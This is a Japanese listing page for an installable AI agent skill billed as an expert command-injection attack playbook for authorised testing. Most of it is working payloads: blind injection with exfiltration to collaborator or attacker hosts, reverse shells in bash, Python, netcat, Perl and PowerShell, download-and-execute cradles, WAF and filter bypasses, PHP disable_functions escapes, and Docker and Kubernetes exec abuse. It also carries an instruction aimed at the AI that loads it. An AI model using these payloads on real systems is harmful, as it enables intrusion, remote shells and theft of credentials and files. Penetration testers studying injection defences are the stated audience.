mcpField
C
cmdi-command-injection

cmdi-command-injection

github.com/yaklangセキュリティ2.6k3.7k 回インストール6 週間前に更新
リポジトリ

cmdi-command-injection について

認可されたセキュリティテスト向けに、シェルやアプリケーション構成要素ごとの OS コマンドインジェクション、検出方法、ペイロードの種類をまとめたスキルです。ブラインド注入と複数 OS の例を扱います。

主な機能

  1. 01シェルメタ文字と注入コンテキストの解説
  2. 02時間差・アウトオブバンドによるブラインド検出
  3. 03Linux、Windows、PowerShell の違いを網羅
  4. 04脆弱なコードパターンとコマンド実行箇所を列挙
  5. 05フィルター回避とコンポーネント別の事例

活用シーン

  1. 01入力がシェルコマンドに渡るかをテスト
  2. 02出力が見えない状況でブラインド注入を調査
  3. 03OS コマンドを組み立てるアプリケーションコードを確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill cmdi-command-injection

インストール後、Claude Code で/cmdi-command-injectionを入力して読み込まれたか確認します。

詳細

スキル:OS コマンドインジェクション — エキスパート向け攻撃プレイブック

AI 読み込み指示:エキスパート向けのコマンドインジェクション手法です。すべてのシェルメタ文字、ブラインドインジェクション、時間ベースの検出、OOB データ窃取、ポリグロットペイロード、実際のコードパターンを扱います。基盤モデルは、予想外の入力経路を通じた巧妙なインジェクションを見落とします。

0. 関連するルーティング

詳しく調べる前に、次の内容を先に読み込むことができます。

最初に試すペイロードの種類
コンテキスト最初に試すもの代替
汎用シェルセパレーター;id&&id
引用符で囲まれた引数";id;"';id;'
ブラインドタイミング;sleep 5& timeout /T 5 /NOBREAK
コマンド置換$(id)`id`
帯域外 DNS;nslookup token.collabWindows の nslookup バリアント
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

1. シェルメタ文字(インジェクション演算子)

これらの文字はコマンドのコンテキストを抜け出し、新しいコマンドをインジェクションします。

メタ文字動作例
;2つ目のコマンドを無条件で実行しますdir; whoami
|標準出力を2つ目のコマンドにパイプしますdir | whoami
||1つ目が失敗した場合にのみ、2つ目を実行しますdir || whoami
&2つ目をバックグラウンドで実行します(Windows では順番に実行します)dir & whoami
&&1つ目が成功した場合にのみ、2つ目を実行しますdir && whoami
$(cmd)コマンド置換echo $(whoami)
`cmd`コマンド置換(バッククォート)echo `whoami`
>標準出力をファイルにリダイレクトしますcmd > /tmp/out
>>ファイルに追記しますcmd >> /tmp/out
<ファイルを標準入力として読み込みますcmd < /etc/passwd
%0a改行文字(URL エンコード)cmd%0awhoami
%0d%0aCRLF複数コマンドのインジェクション

2. よくある脆弱なコードパターン

PHP
$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)

exec("ping -c 1 " . $ip);          // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file);        // ImageMagick RCE
passthru("nslookup " . $host);     // $host = "x.com; id"
Python
import os
os.system("curl " + url)            # url = "x.com; id"
subprocess.call("ls " + path, shell=True)  # shell=True is the key vulnerability
os.popen("ping " + host)
Node.js
const { exec } = require('child_process');
exec('ping ' + req.query.host, ...);  // host = "x.com; id"
Perl
$dir = param("dir");
$command = "du -h /var/www/html" . $dir;
system($command);
// Inject dir field: | cat /etc/passwd
ASP(Classic)
szCMD = "type C:\logs\" & Request.Form("FileName")
Set oShell = Server.CreateObject("WScript.Shell")
oShell.Run szCMD
// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt

3. ブラインドコマンドインジェクション — 検出

レスポンスにコマンドの出力が表示されない場合:

時間ベースの検出
# Linux:
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
& sleep 5 &

# Windows:
& timeout /T 5 /NOBREAK
& ping -n 5 127.0.0.1
& waitfor /T 5 signal777

ペイロードなしの場合と、ペイロードありの場合のレスポンス時間を比較します。5秒以上の遅延があれば、脆弱性が確認されたと判断できます。

DNS 経由の OOB
# Linux:
; nslookup BURP_COLLAB_HOST
; host `whoami`.BURP_COLLAB_HOST
$(nslookup $(whoami).BURP_COLLAB_HOST)

# Windows:
& nslookup BURP_COLLAB_HOST
& nslookup %USERNAME%.BURP_COLLAB_HOST
HTTP 経由の OOB
# Linux:
; curl http://BURP_COLLAB_HOST/`whoami`
; wget http://BURP_COLLAB_HOST/$(id|base64)

# Windows:
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"
帯域外ファイル経由の OOB
; id > /var/www/html/RANDOM_FILE.txt
# Then access: https://target.com/RANDOM_FILE.txt

4. インジェクションコンテキストのバリエーション

二重引用符で囲まれた文字列内
command "INJECT"
# Inject: " ; id ; "
# Result: command "" ; id ; ""
単一引用符で囲まれた文字列内
command 'INJECT'
# Inject: '; id;'
# Result: command ''; id;''
バッククォートによる実行内
output=`command INJECT`
# Inject: x`; id ;`
ファイルパスのコンテキスト
cat /var/log/INJECT
# Inject: ../../../etc/passwd (path traversal)
# Inject: access.log; id (command injection)

5. ペイロードライブラリ

情報収集
; id                          # current user
; whoami                      # user name
; uname -a                    # OS info
; cat /etc/passwd             # user list
; cat /etc/shadow             # password hashes (if root)
; ls /home/                   # home directories
; env                         # environment variables (DB creds, API keys!)
; printenv                    # same
; cat /proc/1/environ         # process environment
; ifconfig                    # network interfaces
; cat /etc/hosts              # host entries
リバースシェル(Linux)
# Bash:
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Python:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat (with -e):
; nc ATTACKER 4444 -e /bin/bash

# Netcat (without -e / OpenBSD):
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Perl:
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
リバースシェル(PowerShell 経由の Windows)
& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

& powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

6. フィルター回避手法

スペースの代替(スペースがフィルターされる場合)
cat</etc/passwd          # < instead of space
{cat,/etc/passwd}        # brace expansion
cat$IFS/etc/passwd       # $IFS variable (field separator)
X=$'\x20'&&cat${X}/etc/passwd  # hex encoded space
スラッシュの代替(/ がフィルターされる場合)
$'\057'etc$'\057'passwd  # octal representation
cat /???/???sec???        # glob expansion
変数の組み立てによるキーワード回避
a=c;b=at;c=/etc/passwd; $a$b $c   # 'cat /etc/passwd'
c=at;ca$c /etc/passwd              # cat
改行のインジェクション
cmd%0Aid%0Awhoami          # URL-encoded newlines
cmd$'\n'id$'\n'whoami      # literal newlines

7. よくあるインジェクションの入口

入口例
ネットワークツールping、nslookup、traceroute、whois のフォーム
ファイル変換画像のリサイズ、PDF の生成、形式の変換
メール送信機能通知メールの From アドレス、名前フィールド
検索/ソートのパラメーターgrep、find、sort コマンドに渡される値
ログの表示tail、grep コマンドに渡される値
カスタムスクリプトの実行「テストを実行」機能、CI/CD フック
DNS ルックアップ機能rDNS ルックアップ、WHOIS クエリ
バックアップ/復元機能ファイルパスのパラメーター
アーカイブ処理zip/unzip、ユーザー指定ファイル名を使う tar

8. ブラインドインジェクションの判断ツリー

Found potential injection point?
├── Try basic: ; sleep 5
│   └── Response delays? → Confirmed blind injection
│       ├── Extract data via timing: if/then sleep
│       └── Use OOB: curl/nslookup to Collaborator
│
├── No delay observed?
│   ├── Try: | sleep 5
│   ├── Try: $(sleep 5)
│   ├── Try: ` sleep 5 `
│   ├── Try after URL encoding: %3B%20sleep%205
│   └── Try double encoding: %253B%2520sleep%25205
│
└── All blocked → check WEB APPLICATION LAYER
    Filter on input? → encode differently
    Filter on specific commands? → whitespace bypass, $IFS, glob

9. 高度な WAF 回避手法

ワイルドカード展開
# Use ? and * to bypass keyword filters:
/???/??t /???/p??s??    # /bin/cat /etc/passwd
/???/???/????2 *.php     # /usr/bin/find2 *.php (approximate)

# Globbing for specific files:
cat /e?c/p?sswd
cat /e*c/p*d
cat の代替(「cat」がフィルターされる場合)
tac /etc/passwd          # reverse cat
nl /etc/passwd           # numbered lines
head /etc/passwd
tail /etc/passwd
more /etc/passwd
less /etc/passwd
sort /etc/passwd
uniq /etc/passwd
rev /etc/passwd | rev
xxd /etc/passwd
strings /etc/passwd
od -c /etc/passwd
base64 /etc/passwd       # then decode offline
コメントの挿入(PHP 固有)
# Insert comments within function names to bypass WAF:
sys/*x*/tem('id')        # PHP ignores /* */ in some eval contexts
# Note: this works with eval() and similar PHP dynamic calls
XOR による文字列の構築(PHP)
# Build function names from XOR of printable characters:
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
# Produces: "assert"
$_('%13%19%13%14%05%0d'|'%60%60%60%60%60%60');
# Evaluates: assert("system")
Base64/ROT13 エンコーディング
# Encode payload, decode at runtime:
base64_decode('c3lzdGVt')('id');     # system('id')
str_rot13('flfgrz')('id');           # system → flfgrz via ROT13
chr() による組み立て
# Build strings character by character:
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109)  # "system"
ドル記号による変数のトリック
# $IFS (Internal Field Separator) as space:
cat$IFS/etc/passwd
cat${IFS}/etc/passwd

# Unset variables expand to empty:
c${x}at /etc/passwd      # $x is unset → "cat"

10. PHP の disable_functions を回避する方法

system()、exec()、shell_exec()、passthru()、popen()、proc_open() がすべて無効になっている場合:

パス 1:LD_PRELOAD + mail()/putenv()
// 1. Upload shared object (.so) that hooks a libc function
// 2. Set LD_PRELOAD to point to it
putenv("LD_PRELOAD=/tmp/evil.so");
// 3. Trigger external process (mail() calls sendmail)
mail("[email protected]", "", "");
// The .so's constructor runs with shell access
パス 2:Shellshock(CVE-2014-6271)
// If bash is vulnerable to Shellshock:
putenv("PHP_LOL=() { :; }; /usr/bin/id > /tmp/out");
mail("[email protected]", "", "");
// Bash processes the function definition and runs the trailing command
パス 3:Apache mod_cgi + .htaccess
// Write .htaccess enabling CGI:
file_put_contents('/var/www/html/.htaccess', 'Options +ExecCGI\nAddHandler cgi-script .sh');
// Write CGI script:
file_put_contents('/var/www/html/cmd.sh', "#!/bin/bash\necho Content-type: text/html\necho\n$1");
chmod('/var/www/html/cmd.sh', 0755);
// Access: /cmd.sh?id
パス 4:PHP-FPM / FastCGI
// If PHP-FPM socket is accessible (/var/run/php-fpm.sock or port 9000):
// Send crafted FastCGI request to execute arbitrary PHP with different php.ini
// Tool: https://github.com/neex/phuip-fpizdam
// Override: PHP_VALUE=auto_prepend_file=/tmp/shell.php
パス 5:COM オブジェクト(Windows)
// Windows only, if COM extension enabled:
$wsh = new COM('WScript.Shell');
$exec = $wsh->Run('cmd /c whoami > C:\inetpub\wwwroot\out.txt', 0, true);
パス 6:ImageMagick Delegate(CVE-2016-3714「ImageTragick」)
// If ImageMagick processes user-uploaded images:
// Upload SVG/MVG with embedded command:
// Content of exploit.svg:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context

あわせて検討する項目(概要): php://filter/convert.iconv 経由の iconv(CVE-2024-2961)、拡張機能が有効な場合の FFI(FFI::cdef + libc)。


11. コンポーネントレベルのコマンドインジェクション

ImageMagick Delegate の悪用
# MVG format with shell command in URL:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id > /tmp/out`'
pop graphic-context

# Or via filename: convert '|id' out.png
FFmpeg(HLS/concat プロトコル)
# SSRF/LFI via m3u8 playlist:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST

# Upload as .m3u8, FFmpeg processes and may leak file contents in output
Elasticsearch Groovy スクリプト(5.x より前)
POST /_search
{
  "query": { "match_all": {} },
  "script_fields": {
    "cmd": {
      "script": "Runtime rt = Runtime.getRuntime(); rt.exec('id')"
    }
  }
}
Ping/Traceroute/NSLookup の診断ページ
# Classic injection point in network diagnostic features:
# Input: 127.0.0.1; id
# Input: 127.0.0.1 && cat /etc/passwd
# Input: `id`.attacker.com (DNS exfil via backtick)
# These features directly call OS commands with user input

その他のシンク(早見表): PDF 生成ツール(ユーザー指定の HTML を使用する wkhtmltopdf / WeasyPrint)、Git ラッパー(git clone URL / フック)。


12. WINDOWS CMD.EXE と POWERSHELL のインジェクション対応表

機能cmd.exePowerShell
コマンド区切り文字&, &&, ||, ;(制限あり);, |, &(呼び出し演算子)
変数展開%VARIABLE%, !VAR!(遅延)$env:VARIABLE, $Variable
エスケープ文字^(キャレット)`(バッククォート)
コマンド置換FOR /F ループ$() サブ式
エンコード実行N/A-EncodedCommand(base64 UTF-16LE)
パイプライン|(標準出力のみ)|(テキストではなくオブジェクト)
コメントREM, ::#
文字列の引用符"double" のみ"double"、'single'(展開なし)
cmd.exe 固有のペイロード
REM Command chaining
dir & whoami
dir && whoami
dir || whoami

REM Caret escape to bypass keyword filters
w^h^o^a^m^i
n^e^t u^s^e^r

REM Variable expansion injection
set CMD=whoami
%CMD%

REM Environment variable exfiltration via DNS
nslookup %USERNAME%.attacker.com
nslookup %COMPUTERNAME%.attacker.com

REM Delayed expansion (when !var! is enabled)
cmd /V:ON /C "set x=whoami&!x!"
PowerShell 固有のペイロード
# Semicolon separator
Get-Process; whoami

# Subexpression
"$(whoami)"
Write-Output $(hostname)

# Base64 encoded command (UTF-16LE)
powershell -EncodedCommand dwBoAG8AYQBtAGkA
# Decodes to: whoami

# Invoke-Expression obfuscation
$a='who';$b='ami';iex "$a$b"
& (gcm *ke-*) "whoami"

# Download and execute
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
IEX (iwr http://attacker/payload.ps1 -UseBasicParsing).Content

# Constrained Language Mode bypass (if available)
powershell -Version 2 -Command "whoami"
クロスプラットフォームのペイロードの違い
ターゲット時間遅延DNS への情報流出ファイル読み取り
Linux/macOSsleep 5nslookup $(whoami).atk.comcat /etc/passwd
cmd.exetimeout /T 5 /NOBREAKnslookup %USERNAME%.atk.comtype C:\Windows\win.ini
PowerShellStart-Sleep 5nslookup $(whoami).atk.comGet-Content C:\Windows\win.ini
検出優先のポリグロット
;sleep${IFS}5;#&timeout /T 5 /NOBREAK&#

sh/bash/cmd の各コンテキストで動作し、いずれかの区切り文字が実行されます。


13. コンテナー / K8S の exec インジェクション

kubectl exec インジェクション

Web アプリケーションがユーザー入力を使って kubectl exec コマンドを構築する場合:

# Vulnerable pattern
kubectl exec $POD_NAME -- /bin/sh -c "echo $USER_INPUT"

# Injection via pod name
POD_NAME="mypod -- /bin/sh -c whoami #"
→ kubectl exec mypod -- /bin/sh -c whoami # -- /bin/sh -c "echo ..."

# Injection via user input in command
USER_INPUT='"; cat /etc/passwd; echo "'
→ kubectl exec pod -- /bin/sh -c "echo ""; cat /etc/passwd; echo """
Docker exec インジェクション
# Vulnerable web admin panel
docker exec $CONTAINER_NAME $COMMAND

# Injection via container name
CONTAINER_NAME="web_app -u root web_app"
→ docker exec web_app -u root web_app $COMMAND  (runs as root)

# Injection via command argument
COMMAND="status; cat /etc/shadow"
→ docker exec container /bin/sh -c "status; cat /etc/shadow"
コンテナーランタイム API(認証なし)
# Docker socket exposed (2375/2376 or /var/run/docker.sock)
POST /containers/create HTTP/1.1
{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],"Binds":["/:/host"]}

# Then start + exec
POST /containers/{id}/start
POST /containers/{id}/exec {"Cmd":["cat","/host/etc/shadow"]}

# Kubernetes API (6443/8443 unauthenticated)
POST /api/v1/namespaces/default/pods/{name}/exec?command=whoami&stdout=true
注意すべきシンク
コンポーネントインジェクションベクター
CI/CD パイプライン(Jenkins、GitLab CI)ビルドステップのパラメーター、環境変数
Kubernetes CronJobユーザー定義スケジュールから取得した .spec.containers[].command
Helm チャートの値ポッド仕様に {{ }} でテンプレート化される values.yaml
コンテナーオーケストレーション UIPortainer、Rancher などの「コマンド実行」機能

14. 環境変数インジェクション

アプリケーションが環境変数の設定または変更を許可する場合、いくつかの変数には暗黙の実行というセマンティクスがあります:

Linux / Unix
変数効果悪用方法
LD_PRELOADすべての共有ライブラリより先に読み込まれ、プロセスの起動時にコンストラクターが実行されますputenv("LD_PRELOAD=/tmp/evil.so"); mail("a@b","","");
LD_LIBRARY_PATHライブラリの検索パスを上書きします管理下のディレクトリに悪意のある libc.so.6 を配置します
BASH_ENV非対話型の bash の起動時に実行されますBASH_ENV=/tmp/evil.sh → すべての system() / popen() 呼び出しで読み込まれます
ENVPOSIX sh では BASH_ENV と同じですENV=/tmp/evil.sh
PROMPT_COMMAND対話型プロンプトの表示前に実行されますPROMPT_COMMAND="curl http://atk.com/$(whoami)"
PS1プロンプト文字列です。bash では $() による展開がサポートされていますPS1='$(cat /etc/passwd > /tmp/out) \$ '
PYTHONSTARTUPインタープリターの起動時に実行される Python スクリプトです悪意のある .py ファイルへのパスを注入します
PERL5OPTすべての Perl 呼び出しに渡されるオプションですPERL5OPT='-Mbase;system("id")'
NODE_OPTIONSすべての Node.js 呼び出しに渡されるオプションですNODE_OPTIONS='--require /tmp/evil.js'
RUBYOPTRuby 用のオプションですRUBYOPT='-r/tmp/evil.rb'
Windows
変数効果
COMSPECコマンドインタープリターへのパスです。system() 呼び出しはこれを使用します
PATHコマンドの解決順序です。パスの先頭に悪意のあるバイナリを配置します
PSModulePathPowerShell はこれらのパスからモジュールを自動読み込みします
攻撃シナリオ

PHP putenv() + mail():

// When putenv() is not disabled and mail() is available:
putenv("LD_PRELOAD=/tmp/evil.so");
mail("[email protected]","","","");
// mail() invokes sendmail → loads evil.so → constructor executes arbitrary code

環境変数を介した Git フックの注入:

# GIT_DIR / GIT_WORK_TREE manipulation
GIT_DIR=/tmp/evil_repo/.git git status
# If hooks exist in the controlled repo, they execute

Node.js --require の注入:

NODE_OPTIONS="--require=/tmp/reverse_shell.js" node /app/server.js
# reverse_shell.js is loaded before server.js

コメント